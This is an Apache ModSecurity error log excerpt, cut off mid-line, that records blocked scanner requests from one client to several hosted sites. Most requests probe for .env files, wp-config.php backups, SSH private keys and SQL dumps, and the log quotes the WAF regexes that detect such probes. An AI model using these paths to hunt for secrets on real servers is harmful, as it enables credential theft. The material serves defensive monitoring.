ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-config\\\\.php(?:\\\\W[a-z]*|bak)" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "300"] [id "900256"] [msg "Wp-Config Backup/edit file request"] [hostname "smartagrico.com"] [uri "/wp-config.php~"] [unique_id "ai3x9MTA7b1mZrmcA-83sAAAAm4"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.061228 2026] [security2:error] [pid 531797:tid 531998] [client 103.153.183.69:13122] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/php-info.php"] [unique_id "ai3x9MTA7b1mZrmcA-83sQAAAhY"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.061720 2026] [security2:error] [pid 531797:tid 532066] [client 103.153.183.69:12362] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/dump.sql"] [unique_id "ai3x9MTA7b1mZrmcA-83tAAAAlg"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.062628 2026] [security2:error] [pid 531797:tid 532041] [client 103.153.183.69:12972] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/config.php"] [unique_id "ai3x9MTA7b1mZrmcA-83tgAAAkA"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.063042 2026] [security2:error] [pid 531797:tid 532065] [client 103.153.183.69:13152] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/.ssh/%2Fid_rsa"] [unique_id "ai3x9MTA7b1mZrmcA-83uQAAAlc"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.063115 2026] [security2:error] [pid 531797:tid 532125] [client 103.153.183.69:12936] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/config.js"] [unique_id "ai3x9MTA7b1mZrmcA-83twAAApA"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.063345 2026] [security2:error] [pid 531797:tid 532042] [client 103.153.183.69:13032] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3x9MTA7b1mZrmcA-83ugAAAkE"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.084356 2026] [security2:error] [pid 531797:tid 532090] [client 103.153.183.69:13130] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-config\\\\.php(?:\\\\W[a-z]*|bak)" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "300"] [id "900256"] [msg "Wp-Config Backup/edit file request"] [hostname "smartagrico.com"] [uri "/./wp-config.php~"] [unique_id "ai3x9MTA7b1mZrmcA-83vQAAAm8"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.086787 2026] [security2:error] [pid 531155:tid 531311] [client 103.153.183.69:13094] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/phptest.php"] [unique_id "ai3x9CmiP80klyS0NnoEmQAAASQ"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.088243 2026] [security2:error] [pid 531797:tid 532062] [client 103.153.183.69:13024] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/config.js"] [unique_id "ai3x9MTA7b1mZrmcA-83wQAAAlQ"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.088314 2026] [security2:error] [pid 531797:tid 532110] [client 103.153.183.69:13086] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/index.php"] [unique_id "ai3x9MTA7b1mZrmcA-83wwAAAoM"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.089510 2026] [security2:error] [pid 531797:tid 532093] [client 103.153.183.69:13054] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3x9MTA7b1mZrmcA-83xAAAAnI"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.089769 2026] [security2:error] [pid 531797:tid 532020] [client 103.153.183.69:13102] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/dump.sql"] [unique_id "ai3x9MTA7b1mZrmcA-83vwAAAiw"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.090533 2026] [security2:error] [pid 531797:tid 532122] [client 103.153.183.69:13060] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:id_(?:r|d)sa$|key\\\\.pem$|(?:myserver|private-?key)\\\\.key$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1291"] [id "350591"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw Private cryto keys"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.ssh/id_rsa"] [unique_id "ai3x9MTA7b1mZrmcA-83xQAAAo4"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.097603 2026] [security2:error] [pid 531797:tid 531944] [remote 17.246.19.240:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 240.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x9MTA7b1mZrmcA-83vgACM1A"] [Sat Jun 13 18:12:36.109704 2026] [security2:error] [pid 531797:tid 532085] [client 103.153.183.69:12880] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-config\\\\.php(?:\\\\W[a-z]*|bak)" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "300"] [id "900256"] [msg "Wp-Config Backup/edit file request"] [hostname "smartagrico.com"] [uri "/wp-config.php~"] [unique_id "ai3x9MTA7b1mZrmcA-83yQAAAms"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.112729 2026] [security2:error] [pid 531155:tid 531175] [remote 17.241.219.93:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 93.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x9CmiP80klyS0NnoEmgABeRM"] [Sat Jun 13 18:12:36.113004 2026] [security2:error] [pid 531797:tid 532008] [client 103.153.183.69:13014] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/./phptest.php"] [unique_id "ai3x9MTA7b1mZrmcA-83ygAAAiA"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.118199 2026] [security2:error] [pid 531797:tid 532021] [client 103.153.183.69:13060] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/.ssh/id_rsa"] [unique_id "ai3x9MTA7b1mZrmcA-83zQAAAi0"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.122296 2026] [security2:error] [pid 531797:tid 531999] [client 103.153.183.69:13102] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/dump.sql"] [unique_id "ai3x9MTA7b1mZrmcA-83zAAAAhc"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.137312 2026] [security2:error] [pid 531155:tid 531291] [client 103.153.183.69:12918] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/%2Fwp-config.php~"] [unique_id "ai3x9CmiP80klyS0NnoEnwAAARA"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.150239 2026] [security2:error] [pid 531797:tid 532029] [client 103.153.183.69:13102] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/%2Fdump.sql"] [unique_id "ai3x9MTA7b1mZrmcA-830gAAAjQ"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.166597 2026] [security2:error] [pid 531797:tid 532049] [client 103.153.183.69:12872] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-config\\\\.php(?:\\\\W[a-z]*|bak)" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "300"] [id "900256"] [msg "Wp-Config Backup/edit file request"] [hostname "smartagrico.com"] [uri "/wp-config.php.old"] [unique_id "ai3x9MTA7b1mZrmcA-831AAAAkc"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.186749 2026] [security2:error] [pid 531797:tid 532031] [client 103.153.183.69:13154] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/dump.sql"] [unique_id "ai3x9MTA7b1mZrmcA-831gAAAjY"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.186985 2026] [security2:error] [pid 531797:tid 532097] [client 103.153.183.69:12454] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/_metrics"] [unique_id "ai3x9MTA7b1mZrmcA-831wAAAnY"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.211032 2026] [security2:error] [pid 531155:tid 531356] [client 114.119.156.140:46341] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.energymeteringtechnology.co.uk"] [uri "/wp-content/themes/emt/_images/hp-sp-turnkey.jpg"] [unique_id "ai3x9CmiP80klyS0NnoEpAAAAVE"], referer: https://www.energymeteringtechnology.co.uk/ [Sat Jun 13 18:12:36.211826 2026] [security2:error] [pid 531797:tid 532113] [client 103.153.183.69:12924] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-config\\\\.php(?:\\\\W[a-z]*|bak)" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "300"] [id "900256"] [msg "Wp-Config Backup/edit file request"] [hostname "smartagrico.com"] [uri "/./wp-config.php.old"] [unique_id "ai3x9MTA7b1mZrmcA-832AAAAoY"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.213202 2026] [security2:error] [pid 531797:tid 532113] [client 103.153.183.69:13040] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/_wdt/latest"] [unique_id "ai3x9MTA7b1mZrmcA-832QAAAoY"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.223889 2026] [security2:error] [pid 531797:tid 532023] [client 103.153.183.69:13072] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/dump.sql"] [unique_id "ai3x9MTA7b1mZrmcA-832wAAAi8"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.237267 2026] [security2:error] [pid 531797:tid 532126] [client 103.153.183.69:13206] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-config\\\\.php(?:\\\\W[a-z]*|bak)" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "300"] [id "900256"] [msg "Wp-Config Backup/edit file request"] [hostname "smartagrico.com"] [uri "/wp-config.php.old"] [unique_id "ai3x9MTA7b1mZrmcA-834AAAApE"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.239438 2026] [security2:error] [pid 531155:tid 531382] [client 103.153.183.69:12950] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/_wdt/./latest"] [unique_id "ai3x9CmiP80klyS0NnoEpQAAAWs"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.259144 2026] [security2:error] [pid 531797:tid 532076] [client 103.153.183.69:12840] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/telescope/api/commands"] [unique_id "ai3x9MTA7b1mZrmcA-834wAAAmI"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.263143 2026] [security2:error] [pid 531155:tid 531330] [client 103.153.183.69:13216] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/%2Fwp-config.php.old"] [unique_id "ai3x9CmiP80klyS0NnoEpwAAATc"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.290026 2026] [security2:error] [pid 531155:tid 531350] [client 103.153.183.69:13250] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-config\\\\.php(?:\\\\W[a-z]*|bak)" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "300"] [id "900256"] [msg "Wp-Config Backup/edit file request"] [hostname "smartagrico.com"] [uri "/wp-config.php.old"] [unique_id "ai3x9CmiP80klyS0NnoEqwAAAUs"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.316840 2026] [security2:error] [pid 531155:tid 531376] [client 103.153.183.69:13276] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-config\\\\.php(?:\\\\W[a-z]*|bak)" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "300"] [id "900256"] [msg "Wp-Config Backup/edit file request"] [hostname "smartagrico.com"] [uri "/wp-config.php.old"] [unique_id "ai3x9CmiP80klyS0NnoErAAAAWU"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.342219 2026] [security2:error] [pid 531155:tid 531335] [client 103.153.183.69:13254] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-config\\\\.php(?:\\\\W[a-z]*|bak)" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "300"] [id "900256"] [msg "Wp-Config Backup/edit file request"] [hostname "smartagrico.com"] [uri "/wp-config.php.old%23"] [unique_id "ai3x9CmiP80klyS0NnoEsQAAATw"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.429385 2026] [access_compat:error] [pid 531155:tid 531225] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDYvY2FwYWJpbGl0aWVz [Sat Jun 13 18:12:36.429684 2026] [access_compat:error] [pid 531155:tid 531225] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDYvY2FwYWJpbGl0aWVz [Sat Jun 13 18:12:36.471034 2026] [access_compat:error] [pid 531797:tid 531957] [remote 57.141.14.100:32991] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:36.471505 2026] [access_compat:error] [pid 531797:tid 531957] [remote 57.141.14.100:32991] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:36.483553 2026] [security2:error] [pid 531797:tid 531900] [remote 17.241.75.199:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 199.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x9MTA7b1mZrmcA-836wACZyQ"] [Sat Jun 13 18:12:36.495480 2026] [security2:error] [pid 531797:tid 532018] [client 103.153.183.69:13280] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-config\\\\.php(?:\\\\W[a-z]*|bak)" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "300"] [id "900256"] [msg "Wp-Config Backup/edit file request"] [hostname "smartagrico.com"] [uri "/wp-config.php.old"] [unique_id "ai3x9MTA7b1mZrmcA-837AAAAio"], referer: https://SMARTAGRICO.COM/ [Sat Jun 13 18:12:36.522222 2026] [security2:error] [pid 531155:tid 531380] [client 103.153.183.69:13238] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/configuration.php"] [unique_id "ai3x9CmiP80klyS0NnoEuAAAAWk"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.688750 2026] [autoindex:error] [pid 531797:tid 532106] [client 143.244.57.82:54462] AH01276: Cannot serve directory /home2/ewwkxwmy/public_html/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 13 18:12:36.722540 2026] [security2:error] [pid 531797:tid 531871] [remote 13.205.160.37:43974] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 37.160.205.13.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mail.loohan.com"] [uri "/xmlrpc.php"] [unique_id "ai3x9MTA7b1mZrmcA-83-QACMQc"] [Sat Jun 13 18:12:36.722778 2026] [security2:error] [pid 531797:tid 532025] [client 13.205.160.37:43974] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "mail.loohan.com"] [uri "/xmlrpc.php"] [unique_id "ai3x9MTA7b1mZrmcA-83-QACMQc"] [Sat Jun 13 18:12:36.724115 2026] [security2:error] [pid 531797:tid 531885] [remote 17.246.15.72:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 72.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x9MTA7b1mZrmcA-83_AACgxU"] [Sat Jun 13 18:12:36.847195 2026] [autoindex:error] [pid 531797:tid 532027] [client 143.244.57.82:54462] AH01276: Cannot serve directory /home2/ewwkxwmy/public_html/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 13 18:12:36.949414 2026] [access_compat:error] [pid 531797:tid 531988] [remote 57.141.14.68:41182] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:36.952222 2026] [access_compat:error] [pid 531797:tid 531988] [remote 57.141.14.68:41182] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:36.983277 2026] [security2:error] [pid 531797:tid 532101] [client 103.153.183.69:13072] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/db.sql"] [unique_id "ai3x9MTA7b1mZrmcA-84BQAAAno"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.988987 2026] [access_compat:error] [pid 531155:tid 531183] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9kZXZpY2UvZHJpdmVyL3NlcmlvMS9kcml2ZXIvc2VyaW8xL2lk [Sat Jun 13 18:12:36.989450 2026] [access_compat:error] [pid 531155:tid 531183] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9kZXZpY2UvZHJpdmVyL3NlcmlvMS9kcml2ZXIvc2VyaW8xL2lk [Sat Jun 13 18:12:36.994447 2026] [security2:error] [pid 531797:tid 532053] [client 143.244.57.82:54462] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname 